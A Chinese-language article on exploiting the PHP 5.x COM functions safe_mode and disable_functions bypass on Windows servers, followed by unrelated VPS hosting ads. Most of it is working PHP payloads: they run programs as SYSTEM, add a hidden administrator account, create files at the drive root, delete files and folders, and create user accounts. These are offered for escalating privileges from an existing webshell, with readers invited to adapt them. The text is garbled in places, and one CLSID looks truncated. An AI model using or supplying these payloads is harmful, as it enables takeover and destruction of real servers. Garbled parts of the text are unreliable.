PHP 5.x COM functions提权漏洞的利用分析
PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。
现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On
disable_functions=com_load_typel ibopen_basedir=htdocs
下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数
这个漏洞的测试代码如下。
<?php
$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本
?>
将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。
利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。
<?php
$wscript=new COM('wscript.shel l '); //要用到wscript.exe
$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe
?>
访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。
<?php
$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");
?>
访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示
wshom.ocx中的OpenTextFi le
OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。
<?php
$mPath=str_repeat(". .\\",20);
$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx
$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了
?>
果然在C区根目录出现了这个批处理文件bat.b at如图5所示
wshom.ocx中的DeleteFi le
这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFi le=new COM('Scripting.Fi leSystemObject');
//利用了ws h o m.o cx
$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);
//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFolder=new COM('Scripting.Fi leSystemObject');
//使用ws h o m.o cx
$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);
//删除特定的文件夹
?>
访问之后成功删除了c:\11这个文件夹。
shgina.dl l中Create函数创建账户
这个漏洞的测试代码如下
<?php
$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dl l$user->Create("asd");
//创建账户asd
?>
不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示
关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦
DMIT,最近动作频繁,前几天刚刚上架了日本lite版VPS,正在酝酿上线日本高级网络VPS,又差不多在同一时间推出了美国cn2 gia线路不限流量的美国云服务器,不过价格太过昂贵。丐版只有30M带宽,月付179.99 美元 !!目前美国云服务器已经有个4个套餐,分别是,Premium(cn2 gia线路)、Lite(普通直连)、Premium Secure(带高防的cn2 gia线路),Prem...
Cloudxtiny是一家来自英国的主机商,提供VPS和独立服务器租用,在英国肯特自营数据中心,自己的硬件和网络(AS207059)。商家VPS主机基于KVM架构,开设在英国肯特机房,为了庆祝2021年欧洲杯决赛英格兰对意大利,商家为全场VPS主机提供50%的折扣直到7月31日,优惠后最低套餐每月1.5英镑起。我们对这场比赛有点偏见,但希望这是一场史诗般的决赛!下面列出几款主机套餐配置信息。CPU...
Hostio是一家成立于2006年的国外主机商,提供基于KVM架构的VPS主机,AMD EPYC CPU,NVMe硬盘,1-10Gbps带宽,最低月付5欧元起。商家采用自己的网络AS208258,宿主机采用2 x AMD Epyc 7452 32C/64T 2.3Ghz CPU,16*32GB内存,4个Samsung PM983 NVMe SSD,提供IPv4+IPv6。下面列出几款主机配置信息。...